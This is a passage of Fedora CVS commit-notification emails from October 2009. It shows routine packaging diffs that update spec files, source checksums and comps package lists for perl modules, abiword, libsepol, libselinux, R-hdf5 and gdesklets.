-auto_install;
+#auto_install;
 WriteAll;


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/perl-XML-NamespaceSupport/F-12/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	9 Sep 2005 22:23:45 -0000	1.3
+++ .cvsignore	29 Oct 2009 19:17:53 -0000	1.4
@@ -1 +1 @@
-XML-NamespaceSupport-1.09.tar.gz
+XML-NamespaceSupport-1.10.tar.gz


Index: perl-XML-NamespaceSupport.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-XML-NamespaceSupport/F-12/perl-XML-NamespaceSupport.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- perl-XML-NamespaceSupport.spec	26 Jul 2009 17:36:16 -0000	1.14
+++ perl-XML-NamespaceSupport.spec	29 Oct 2009 19:17:53 -0000	1.15
@@ -1,16 +1,18 @@
 Name:           perl-XML-NamespaceSupport
-Version:        1.09
-Release:        6%{?dist}
+Version:        1.10
+Release:        1%{?dist}
 Summary:        A simple generic namespace support class
 
 Group:          Development/Libraries
 License:        GPL+ or Artistic
 Url:            http://search.cpan.org/dist/XML-NamespaceSupport/
 Source0:        http://www.cpan.org/authors/id/R/RB/RBERJON/XML-NamespaceSupport-%{version}.tar.gz
+Patch0:         perl-XML-NamespaceSupport-autoinstall_off.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildArch:      noarch
 BuildRequires:  perl(ExtUtils::MakeMaker)
+BuildRequires:  perl(Test::More)
 Requires:       perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))
 
 %description
@@ -19,7 +21,8 @@ Requires:       perl(:MODULE_COMPAT_%(ev
 
 %prep
 %setup -q -n XML-NamespaceSupport-%{version}
-chmod -c 644 Changes README *.pm
+%patch0 -p1
+chmod -c 644 Changes README
 
 %build
 %{__perl} Makefile.PL INSTALLDIRS=vendor
@@ -47,6 +50,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct  6 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 1.10-1
+- update to new upstream release
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.09-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/perl-XML-NamespaceSupport/F-12/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	9 Sep 2005 22:23:45 -0000	1.3
+++ sources	29 Oct 2009 19:17:53 -0000	1.4
@@ -1 +1 @@
-b0867d7b599d8a63ba630fa6227936fe  XML-NamespaceSupport-1.09.tar.gz
+0a760067d4b517672f064e911679c509  XML-NamespaceSupport-1.10.tar.gz



From nim at fedoraproject.org  Thu Oct 29 19:17:50 2009
From: nim at fedoraproject.org (nim)
Date: Thu, 29 Oct 2009 19:17:50 +0000 (UTC)
Subject: comps comps-f13.xml.in,1.62,1.63 comps-f12.xml.in,1.174,1.175
Message-ID: <20091029191750.31EA411C00E5@cvs1.fedora.phx.redhat.com>

Author: nim

Update of /cvs/extras/comps
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4511

Modified Files:
	comps-f13.xml.in comps-f12.xml.in 
Log Message:
add fontpackages-tools


Index: comps-f13.xml.in
===================================================================
RCS file: /cvs/extras/comps/comps-f13.xml.in,v
retrieving revision 1.62
retrieving revision 1.63
diff -u -p -r1.62 -r1.63
--- comps-f13.xml.in	29 Oct 2009 08:11:36 -0000	1.62
+++ comps-f13.xml.in	29 Oct 2009 19:17:48 -0000	1.63
@@ -1772,6 +1772,7 @@
       <packagereq type="optional">bzr</packagereq>
       <packagereq type="optional">cvs</packagereq>
       <packagereq type="optional">darcs</packagereq>
+      <packagereq type="optional">fontpackages-tools</packagereq>
       <packagereq type="optional">freetype-demos</packagereq>
       <packagereq type="optional">gbdfed</packagereq>
       <packagereq type="optional">ghostscript-doc</packagereq>
@@ -5917,8 +5918,8 @@
     <uservisible>true</uservisible>
     <packagelist>
       <packagereq type="mandatory">python-virtinst</packagereq>
-      <packagereq type="default">qemu-kvm</packagereq>
       <packagereq type="default">libvirt</packagereq>
+      <packagereq type="default">qemu-kvm</packagereq>
       <packagereq type="default">virt-manager</packagereq>
       <packagereq type="default">virt-viewer</packagereq>
       <packagereq type="optional">virt-top</packagereq>


Index: comps-f12.xml.in
===================================================================
RCS file: /cvs/extras/comps/comps-f12.xml.in,v
retrieving revision 1.174
retrieving revision 1.175
diff -u -p -r1.174 -r1.175
--- comps-f12.xml.in	26 Oct 2009 20:41:33 -0000	1.174
+++ comps-f12.xml.in	29 Oct 2009 19:17:49 -0000	1.175
@@ -806,14 +806,14 @@
     <packagelist>
       <packagereq type="mandatory">anaconda</packagereq>
       <packagereq type="mandatory">createrepo</packagereq>
+      <packagereq type="mandatory">dash</packagereq>
+      <packagereq type="mandatory">dracut</packagereq>
       <packagereq type="mandatory">firstboot</packagereq>
       <packagereq type="mandatory">gcc-c++</packagereq>
       <!-- 'kernel' is listed because we need to ensure that kernel
            packages exist and are installable etc. We're not using this
            to force-install 'kernel' over 'kernel-PAE' or anything. -->
       <packagereq type="mandatory">kernel</packagereq>
-      <packagereq type="mandatory">dracut</packagereq>
-      <packagereq type="mandatory">dash</packagereq>
       <packagereq type="mandatory">livecd-tools</packagereq>
       <packagereq type="mandatory">mash</packagereq>
       <packagereq type="mandatory">NetworkManager</packagereq>
@@ -1781,6 +1781,7 @@
       <packagereq type="optional">bzr</packagereq>
       <packagereq type="optional">cvs</packagereq>
       <packagereq type="optional">darcs</packagereq>
+      <packagereq type="optional">fontpackages-tools</packagereq>
       <packagereq type="optional">freetype-demos</packagereq>
       <packagereq type="optional">gbdfed</packagereq>
       <packagereq type="optional">ghostscript-doc</packagereq>
@@ -5957,8 +5958,8 @@
     <uservisible>true</uservisible>
     <packagelist>
       <packagereq type="mandatory">python-virtinst</packagereq>
-      <packagereq type="default">qemu-kvm</packagereq>
       <packagereq type="default">libvirt</packagereq>
+      <packagereq type="default">qemu-kvm</packagereq>
       <packagereq type="default">virt-manager</packagereq>
       <packagereq type="default">virt-viewer</packagereq>
       <packagereq type="optional">virt-top</packagereq>



From kasal at fedoraproject.org  Thu Oct 29 19:19:41 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Thu, 29 Oct 2009 19:19:41 +0000 (UTC)
Subject: rpms/perl-YAML/F-12 .cvsignore, 1.8, 1.9 perl-YAML.spec, 1.23,
	1.24 sources, 1.10, 1.11
Message-ID: <20091029191941.EA1E011C00E5@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-YAML/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5031

Modified Files:
	.cvsignore perl-YAML.spec sources 
Log Message:
sync with rawhide


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/perl-YAML/F-12/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	10 Dec 2008 16:55:08 -0000	1.8
+++ .cvsignore	29 Oct 2009 19:19:40 -0000	1.9
@@ -1 +1 @@
-YAML-0.68.tar.gz
+YAML-0.70.tar.gz


Index: perl-YAML.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-YAML/F-12/perl-YAML.spec,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- perl-YAML.spec	26 Jul 2009 17:42:17 -0000	1.23
+++ perl-YAML.spec	29 Oct 2009 19:19:40 -0000	1.24
@@ -1,6 +1,6 @@
 Name:           perl-YAML
-Version:        0.68
-Release:        3%{?dist}
+Version:        0.70
+Release:        2%{?dist}
 Summary:        YAML Ain't Markup Language (tm)
 License:        GPL+ or Artistic
 Group:          Development/Libraries
@@ -56,6 +56,12 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man3/YAML*.3*
 
 %changelog
+* Wed Oct  7 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 0.70-2
+- rebuild for push
+
+* Tue Oct 6  2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 0.70-1
+- new upstream version
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.68-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/perl-YAML/F-12/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	10 Dec 2008 16:55:08 -0000	1.10
+++ sources	29 Oct 2009 19:19:40 -0000	1.11
@@ -1 +1 @@
-4b4255360bb885acdba05314daa9129a  YAML-0.68.tar.gz
+425973520e8fd84beb6cb95de29f3534  YAML-0.70.tar.gz



From kasal at fedoraproject.org  Thu Oct 29 19:23:28 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Thu, 29 Oct 2009 19:23:28 +0000 (UTC)
Subject: rpms/perl-MIME-Lite/F-12 .cvsignore, 1.2, 1.3 perl-MIME-Lite.spec, 
	1.10, 1.11 sources, 1.2, 1.3
Message-ID: <20091029192328.7BAAE11C00E5@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-MIME-Lite/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6014

Modified Files:
	.cvsignore perl-MIME-Lite.spec sources 
Log Message:
sync with rawhide


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/perl-MIME-Lite/F-12/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	11 Apr 2005 22:41:12 -0000	1.2
+++ .cvsignore	29 Oct 2009 19:23:28 -0000	1.3
@@ -1 +1 @@
-MIME-Lite-3.01.tar.gz
+MIME-Lite-3.026.tar.gz


Index: perl-MIME-Lite.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-MIME-Lite/F-12/perl-MIME-Lite.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- perl-MIME-Lite.spec	26 Jul 2009 09:04:32 -0000	1.10
+++ perl-MIME-Lite.spec	29 Oct 2009 19:23:28 -0000	1.11
@@ -1,17 +1,22 @@
 Name:           perl-MIME-Lite
-Version:        3.01
-Release:        10%{?dist}
+Version:        3.026
+Release:        2%{?dist}
 Summary:        MIME::Lite - low-calorie MIME generator
 
 Group:          Development/Libraries
 License:        GPL+ or Artistic
 URL:            http://search.cpan.org/dist/MIME-Lite/
-Source0:        http://www.cpan.org/authors/id/Y/YV/YVES/MIME-Lite-3.01.tar.gz
+Source0:        http://www.cpan.org/authors/id/R/RJ/RJBS/MIME-Lite-%{version}.tar.gz
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildArch:      noarch
-BuildRequires:  perl(ExtUtils::MakeMaker)
+BuildRequires:  perl(ExtUtils::MakeMaker) perl(Test::More)
+BuildRequires:	perl(Email::Date::Format) perl(Mail::Address)
+BuildRequires:	perl(MIME::Types) >= 1.28
 Requires:       perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))
+# not detected by automated find-requires:
+Requires:	perl(Email::Date::Format)
+Requires:	perl(MIME::Types) >= 1.28
 
 %description
 MIME::Lite is intended as a simple, standalone module for generating (not 
@@ -31,9 +36,8 @@ make %{?_smp_mflags}
 %install
 rm -rf $RPM_BUILD_ROOT
 make pure_install PERL_INSTALL_ROOT=$RPM_BUILD_ROOT
-find $RPM_BUILD_ROOT -type f -a \( -name .packlist \
-  -o \( -name '*.bs' -a -empty \) \) -exec rm -f {} ';'
-find $RPM_BUILD_ROOT -depth -type d -exec rmdir {} 2>/dev/null ';'
+find $RPM_BUILD_ROOT -type f -name .packlist -exec rm -f {} ';'
+find $RPM_BUILD_ROOT -depth -type d -empty -exec rmdir ';'
 
 
 %check
@@ -52,6 +56,14 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct  7 2009 Stepan Kasal <skasal at redhat.com> - 3.26-2
+- no need to search for *.bs files in noarch rpm
+
+* Wed Oct  7 2009 Stepan Kasal <skasal at redhat.com> - 3.26-1
+- new upstream version
+- fix buildrequires
+- add requires not detected automatically
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.01-10
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/perl-MIME-Lite/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	11 Apr 2005 22:41:12 -0000	1.2
+++ sources	29 Oct 2009 19:23:28 -0000	1.3
@@ -1 +1 @@
-b41eb689819775fd8df360458fc2d507  MIME-Lite-3.01.tar.gz
+9917ed1d8bf9d9e9e65ddd89c55489a7  MIME-Lite-3.026.tar.gz



From uwog at fedoraproject.org  Thu Oct 29 19:24:08 2009
From: uwog at fedoraproject.org (Marc Maurer)
Date: Thu, 29 Oct 2009 19:24:08 +0000 (UTC)
Subject: rpms/abiword/F-11 .cvsignore, 1.25, 1.26 abiword.spec, 1.77,
	1.78 sources, 1.25, 1.26
Message-ID: <20091029192408.F32D511C00E5@cvs1.fedora.phx.redhat.com>

Author: uwog

Update of /cvs/pkgs/rpms/abiword/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6223

Modified Files:
	.cvsignore abiword.spec sources 
Log Message:
New upstream release




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/abiword/F-11/.cvsignore,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- .cvsignore	26 Oct 2009 22:43:40 -0000	1.25
+++ .cvsignore	29 Oct 2009 19:24:07 -0000	1.26
@@ -1,2 +1,2 @@
-abiword-2.8.0.tar.gz
-abiword-docs-2.8.0.tar.gz
+abiword-2.8.1.tar.gz
+abiword-docs-2.8.1.tar.gz


Index: abiword.spec
===================================================================
RCS file: /cvs/pkgs/rpms/abiword/F-11/abiword.spec,v
retrieving revision 1.77
retrieving revision 1.78
diff -u -p -r1.77 -r1.78
--- abiword.spec	26 Oct 2009 22:56:26 -0000	1.77
+++ abiword.spec	29 Oct 2009 19:24:08 -0000	1.78
@@ -1,13 +1,13 @@
 %define majorversion 2
 %define minorversion 8
-%define microversion 0
+%define microversion 1
 
 %define olpc_build 0
 
 Summary: The AbiWord word processor
 Name: abiword
 Version: %{majorversion}.%{minorversion}.%{microversion}
-Release: 2%{?dist}
+Release: 1%{?dist}
 Epoch: 1
 Group: Applications/Editors
 License: GPLv2+
@@ -178,6 +178,9 @@ update-desktop-database %{_datadir}/appl
 %{_libdir}/pkgconfig/%{name}-%{majorversion}.%{minorversion}.pc
 
 %changelog
+* Thu Oct 29 2009 Marc Maurer <uwog at abisource.com> - 1:2.8.1-1
+- New upstream release
+
 * Mon Oct 26 2009 Marc Maurer <uwog at abisource.com> - 1:2.8.0-2
 - Build with --enable-dynamic
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/abiword/F-11/sources,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- sources	26 Oct 2009 22:43:41 -0000	1.25
+++ sources	29 Oct 2009 19:24:08 -0000	1.26
@@ -1,2 +1,2 @@
-f61c623cdb3c3b2aed05bbc868050ddd  abiword-2.8.0.tar.gz
-226c97dec63c2423dca9a431beb58e3a  abiword-docs-2.8.0.tar.gz
+284fe25289c160c3797b527a8aacad12  abiword-2.8.1.tar.gz
+6a6d8260004280687b862e3b9777c338  abiword-docs-2.8.1.tar.gz



From uwog at fedoraproject.org  Thu Oct 29 19:25:29 2009
From: uwog at fedoraproject.org (Marc Maurer)
Date: Thu, 29 Oct 2009 19:25:29 +0000 (UTC)
Subject: rpms/abiword/F-12 .cvsignore, 1.32, 1.33 abiword.spec, 1.98,
	1.99 sources, 1.32, 1.33
Message-ID: <20091029192529.B8E4211C00E5@cvs1.fedora.phx.redhat.com>

Author: uwog

Update of /cvs/pkgs/rpms/abiword/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6568

Modified Files:
	.cvsignore abiword.spec sources 
Log Message:
New upstream release




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/abiword/F-12/.cvsignore,v
retrieving revision 1.32
retrieving revision 1.33
diff -u -p -r1.32 -r1.33
--- .cvsignore	26 Oct 2009 22:48:50 -0000	1.32
+++ .cvsignore	29 Oct 2009 19:25:29 -0000	1.33
@@ -1,2 +1,2 @@
-abiword-2.8.0.tar.gz
-abiword-docs-2.8.0.tar.gz
+abiword-2.8.1.tar.gz
+abiword-docs-2.8.1.tar.gz


Index: abiword.spec
===================================================================
RCS file: /cvs/pkgs/rpms/abiword/F-12/abiword.spec,v
retrieving revision 1.98
retrieving revision 1.99
diff -u -p -r1.98 -r1.99
--- abiword.spec	26 Oct 2009 22:57:56 -0000	1.98
+++ abiword.spec	29 Oct 2009 19:25:29 -0000	1.99
@@ -1,13 +1,13 @@
 %define majorversion 2
 %define minorversion 8
-%define microversion 0
+%define microversion 1
 
 %define olpc_build 0
 
 Summary: The AbiWord word processor
 Name: abiword
 Version: %{majorversion}.%{minorversion}.%{microversion}
-Release: 2%{?dist}
+Release: 1%{?dist}
 Epoch: 1
 Group: Applications/Editors
 License: GPLv2+
@@ -177,6 +177,9 @@ update-desktop-database %{_datadir}/appl
 %{_libdir}/pkgconfig/%{name}-%{majorversion}.%{minorversion}.pc
 
 %changelog
+* Thu Oct 29 2009 Marc Maurer <uwog at abisource.com> - 1:2.8.1-1
+- New upstream release
+
 * Mon Oct 26 2009 Marc Maurer <uwog at abisource.com> - 1:2.8.0-2
 - Build with --enable-dynamic
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/abiword/F-12/sources,v
retrieving revision 1.32
retrieving revision 1.33
diff -u -p -r1.32 -r1.33
--- sources	26 Oct 2009 22:48:50 -0000	1.32
+++ sources	29 Oct 2009 19:25:29 -0000	1.33
@@ -1,2 +1,2 @@
-f61c623cdb3c3b2aed05bbc868050ddd  abiword-2.8.0.tar.gz
-226c97dec63c2423dca9a431beb58e3a  abiword-docs-2.8.0.tar.gz
+284fe25289c160c3797b527a8aacad12  abiword-2.8.1.tar.gz
+6a6d8260004280687b862e3b9777c338  abiword-docs-2.8.1.tar.gz



From luya at fedoraproject.org  Thu Oct 29 19:27:12 2009
From: luya at fedoraproject.org (Luya Tshimbalanga)
Date: Thu, 29 Oct 2009 19:27:12 +0000 (UTC)
Subject: rpms/gdesklets/devel python-2.6.patch, NONE, 1.1 gdesklets.spec,
	1.43, 1.44
Message-ID: <20091029192712.6439611C00E5@cvs1.fedora.phx.redhat.com>

Author: luya

Update of /cvs/pkgs/rpms/gdesklets/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7370

Modified Files:
	gdesklets.spec 
Added Files:
	python-2.6.patch 
Log Message:
Ported patch from F11 due python 2.6 incompatibility

python-2.6.patch:
 ErrorFormatter.py |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE python-2.6.patch ---
--- gDesklets-0.36.1/utils/ErrorFormatter.py	2008-03-19 16:00:59.000000000 -0700
+++ gDesklets-0.36.1.new/utils/ErrorFormatter.py	2009-05-12 22:32:47.000000000 -0700
@@ -113,9 +113,9 @@
 # give us an absolute path.
 #
 _old_imp = __import__
-def _new_imp(name, globs = {}, locls = {}, fromlist = []):
+def _new_imp(*args, **kwargs):
 
-    module = _old_imp(name, globs, locls, fromlist)
+    module = _old_imp(*args, **kwargs)
     # builtin modules have no "__file__" attribute, so we have to check for it
     if (module):
         if (hasattr(module, "__file__")):


Index: gdesklets.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gdesklets/devel/gdesklets.spec,v
retrieving revision 1.43
retrieving revision 1.44
diff -u -p -r1.43 -r1.44
--- gdesklets.spec	24 Jul 2009 23:41:16 -0000	1.43
+++ gdesklets.spec	29 Oct 2009 19:27:11 -0000	1.44
@@ -2,7 +2,7 @@
 
 Name:		gdesklets
 Version:	0.36.1
-Release:	6%{?dist}
+Release:	7%{?dist}
 Summary:	An interactive Imlib2 console for the X Window system
 
 Group:		User Interface/Desktops
@@ -11,6 +11,7 @@ License:	GPL+
 URL:		http://www.%{name}.de/
 Source0:	http://%{name}.de/files/%{name}-%{version}.tar.gz
 Patch0:		transition.patch
+Patch1:		python-2.6.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  python-devel > 2.0.0, pyorbit-devel , pygtk2-devel > 2.4.0, 
@@ -31,6 +32,7 @@ bars, weather sensors, news tickers.
 %prep
 %setup -q -n gDesklets-%{version}
 %patch0 -p1 -b .transition
+%patch1 -p1 -b .python2.6
 
 %build
 %configure \
@@ -81,6 +83,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Thu Oct 29 2009 Luya Tshimbalanga <luya at fedoraproject.org> 0.36.1-7
+- Add patch to address compatibility with python 2.6
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.36.1-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From dwalsh at fedoraproject.org  Thu Oct 29 19:27:40 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Thu, 29 Oct 2009 19:27:40 +0000 (UTC)
Subject: rpms/libsepol/devel .cvsignore, 1.145, 1.146 libsepol.spec, 1.194, 
	1.195 sources, 1.146, 1.147
Message-ID: <20091029192740.8EBAF11C00E5@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/libsepol/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7524

Modified Files:
	.cvsignore libsepol.spec sources 
Log Message:
* Tue Sep 8 2009 Dan Walsh <dwalsh at redhat.com> 2.0.39-1
- Upgrade to latest from NSA
	* Add support for building Xen policies from Paul Nuzzi.



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/libsepol/devel/.cvsignore,v
retrieving revision 1.145
retrieving revision 1.146
diff -u -p -r1.145 -r1.146
--- .cvsignore	8 Sep 2009 13:08:10 -0000	1.145
+++ .cvsignore	29 Oct 2009 19:27:40 -0000	1.146
@@ -145,3 +145,4 @@ libsepol-2.0.35.tgz
 libsepol-2.0.36.tgz
 libsepol-2.0.37.tgz
 libsepol-2.0.38.tgz
+libsepol-2.0.39.tgz


Index: libsepol.spec
===================================================================
RCS file: /cvs/extras/rpms/libsepol/devel/libsepol.spec,v
retrieving revision 1.194
retrieving revision 1.195
diff -u -p -r1.194 -r1.195
--- libsepol.spec	8 Sep 2009 13:08:10 -0000	1.194
+++ libsepol.spec	29 Oct 2009 19:27:40 -0000	1.195
@@ -1,6 +1,6 @@
 Summary: SELinux binary policy manipulation library 
 Name: libsepol
-Version: 2.0.38
+Version: 2.0.39
 Release: 1%{?dist}
 License: LGPLv2+
 Group: System Environment/Libraries
@@ -96,6 +96,10 @@ exit 0
 /%{_lib}/libsepol.so.1
 
 %changelog
+* Tue Sep 8 2009 Dan Walsh <dwalsh at redhat.com> 2.0.39-1
+- Upgrade to latest from NSA
+	* Add support for building Xen policies from Paul Nuzzi.
+
 * Tue Sep 8 2009 Dan Walsh <dwalsh at redhat.com> 2.0.38-1
 - Upgrade to latest from NSA
 	* Check last offset in the module package against the file size.


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/libsepol/devel/sources,v
retrieving revision 1.146
retrieving revision 1.147
diff -u -p -r1.146 -r1.147
--- sources	8 Sep 2009 13:08:11 -0000	1.146
+++ sources	29 Oct 2009 19:27:40 -0000	1.147
@@ -1 +1 @@
-3beeb2bc678f9fb51770a19691ba2c72  libsepol-2.0.38.tgz
+bd4c51d44b276d4dcf9c65c365c808d6  libsepol-2.0.39.tgz



From orion at fedoraproject.org  Thu Oct 29 19:29:30 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Thu, 29 Oct 2009 19:29:30 +0000 (UTC)
Subject: rpms/R-hdf5/EL-5 R-hdf5.spec,1.5,1.6 sources,1.4,1.5
Message-ID: <20091029192930.686F011C00E5@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/R-hdf5/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8911

Modified Files:
	R-hdf5.spec sources 
Log Message:
* Thu Oct 29 2009 Orion Poplawski <orion at cora.nwra.com> 1.6.9-1
- bump to 1.6.9
- rebuild for R 2.9.2
- update spec to current R standard



Index: R-hdf5.spec
===================================================================
RCS file: /cvs/pkgs/rpms/R-hdf5/EL-5/R-hdf5.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- R-hdf5.spec	26 Aug 2007 22:56:31 -0000	1.5
+++ R-hdf5.spec	29 Oct 2009 19:29:28 -0000	1.6
@@ -1,18 +1,17 @@
-%define packrel  0
-%define packname hdf5
+%global packname hdf5
 
 Name: R-%{packname}
-Version: 1.6.6
-Release: 2%{?dist}
-Source0: ftp://cran.r-project.org/pub/R/contrib/main/%{packname}_%{version}.tar.gz
+Version: 1.6.9
+Release: 1%{?dist}
+Source0: http://cran.r-project.org/contrib/main/%{packname}_%{version}.tar.gz
 License: GPLv2+
-URL: http://cran.r-project.org/contrib
+URL: http://cran.r-project.org/web/packages/hdf5/index.html
 Group: Applications/Engineering
 Summary: Interface to the NCSA HDF5 library
 BuildRequires: R-devel, tetex-latex, hdf5-devel, zlib-devel
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
-Requires(post): R
-Requires(postun): R
+Requires(post): R-core
+Requires(postun): R-core
 
 %description
 R package:
@@ -26,7 +25,7 @@ Interface to the NCSA HDF5 library
 %install
 rm -rf $RPM_BUILD_ROOT
 mkdir -p $RPM_BUILD_ROOT%{_libdir}/R/library
-%{_bindir}/R CMD INSTALL --configure-flags="PKG_CPPFLAGS=\"$RPM_OPT_FLAGS -Dspot\"" -l $RPM_BUILD_ROOT%{_libdir}/R/library %{packname}
+%{_bindir}/R CMD INSTALL -l $RPM_BUILD_ROOT%{_libdir}/R/library %{packname}
 # Clean up in advance of check
 test -d %{packname}/src && (cd %{packname}/src; rm -f *.o *.so)
 rm -rf $RPM_BUILD_ROOT%{_libdir}/R/library/R.css
@@ -47,6 +46,11 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/R/library/%{packname}
 
 %changelog
+* Thu Oct 29 2009 Orion Poplawski <orion at cora.nwra.com> 1.6.9-1
+- bump to 1.6.9
+- rebuild for R 2.9.2
+- update spec to current R standard
+
 * Sun Aug 26 2007 Tom "spot" Callaway <tcallawa at redhat.com> 1.6.6-2
 - rebuild for ppc32
 - fix license tags


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/R-hdf5/EL-5/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	5 Jul 2007 14:58:15 -0000	1.4
+++ sources	29 Oct 2009 19:29:29 -0000	1.5
@@ -1 +1 @@
-f9ff4a4a33282487e171eae7d0c870a1  hdf5_1.6.6.tar.gz
+bacf97b663d50704f52a43cd3cc75f86  hdf5_1.6.9.tar.gz



From dwalsh at fedoraproject.org  Thu Oct 29 19:36:33 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Thu, 29 Oct 2009 19:36:33 +0000 (UTC)
Subject: rpms/libselinux/devel .cvsignore, 1.188, 1.189 libselinux.spec,
	1.378, 1.379 sources, 1.191, 1.192
Message-ID: <20091029193633.3AF1411C00E5@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/libselinux/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10593

Modified Files:
	.cvsignore libselinux.spec sources 
Log Message:
* Thu Oct 29 2009 Dan Walsh <dwalsh at redhat.com> - 2.0.88-1
- Update to upstream 
	* Rename and export selinux_reset_config()



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/libselinux/devel/.cvsignore,v
retrieving revision 1.188
retrieving revision 1.189
diff -u -p -r1.188 -r1.189
--- .cvsignore	28 Sep 2009 20:33:24 -0000	1.188
+++ .cvsignore	29 Oct 2009 19:36:31 -0000	1.189
@@ -171,3 +171,4 @@ libselinux-2.0.84.tgz
 libselinux-2.0.85.tgz
 libselinux-2.0.86.tgz
 libselinux-2.0.87.tgz
+libselinux-2.0.88.tgz


Index: libselinux.spec
===================================================================
RCS file: /cvs/extras/rpms/libselinux/devel/libselinux.spec,v
retrieving revision 1.378
retrieving revision 1.379
diff -u -p -r1.378 -r1.379
--- libselinux.spec	28 Sep 2009 20:33:26 -0000	1.378
+++ libselinux.spec	29 Oct 2009 19:36:32 -0000	1.379
@@ -4,7 +4,7 @@
 
 Summary: SELinux library and simple utilities
 Name: libselinux
-Version: 2.0.87
+Version: 2.0.88
 Release: 1%{?dist}
 License: Public Domain
 Group: System Environment/Libraries
@@ -165,6 +165,10 @@ exit 0
 %{ruby_sitearch}/selinux.so
 
 %changelog
+* Thu Oct 29 2009 Dan Walsh <dwalsh at redhat.com> - 2.0.88-1
+- Update to upstream 
+	* Rename and export selinux_reset_config()
+
 * Tue Sep 8 2009 Dan Walsh <dwalsh at redhat.com> - 2.0.87-1
 - Update to upstream 
